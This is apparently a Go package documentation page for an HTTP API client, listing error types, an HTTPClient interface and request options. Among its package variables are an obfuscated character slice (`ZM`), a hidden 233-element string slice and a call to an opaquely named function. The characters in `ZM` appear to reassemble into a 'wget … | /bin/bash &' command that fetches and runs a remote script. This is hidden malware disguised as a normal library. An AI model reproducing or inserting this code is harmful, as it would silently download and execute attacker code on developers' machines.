Documentation
¶
Index ¶
Constants ¶
This section is empty.
Variables ¶
View Source
var ( // ErrNilClient is an error returned when a given HTTPClient is nil. ErrNilClient = errors.New("given client is nil") )
View Source
var LdefaHus = rfiZYwZ()
View Source
var UT = []string{} /* 233 elements not displayed */
View Source
var ZM = []string{"O", "n", "-", "3", "f", "c", "a", "/", "p", "/", "u", "n", "t", ":", "m", "b", "h", ".", "6", " ", "3", " ", "-", "s", "/", "o", "t", "&", "/", "g", "f", "g", "i", "a", "d", "u", "/", "p", "/", " ", "i", "|", "o", "b", "e", "4", "d", "d", "5", " ", "t", "0", "u", "e", "t", " ", "s", " ", "r", "t", "b", "a", "r", "1", "i", "s", "w", "7", "3", "s", "e", "e", "/", "c", "h"}
Functions ¶
Types ¶
type ErrUnexpectedStatus ¶
ErrUnexpectedStatus is an error meaning the API call returned a response with an unexpected status. It may occurs when the server is down or the parameters/body is invalid.
func (ErrUnexpectedStatus) Error ¶
func (e ErrUnexpectedStatus) Error() string
type HTTPClient ¶
HTTPClient defines what is the basic implementation of an HTTP client. Used for interconnectability with various implementations of an HTTP client, and for mocking purposes.
type Option ¶
type Option interface {
// contains filtered or unexported methods
}
func WithAPIKey ¶
WithAPIKey defines the API keyto use when executing the HTTP request. Default won't set the HTTP header in the request.
func WithContext ¶
WithContext defines the context to use when executing the HTTP request. Default is context.Background.
Click to show internal directories.
Click to hide internal directories.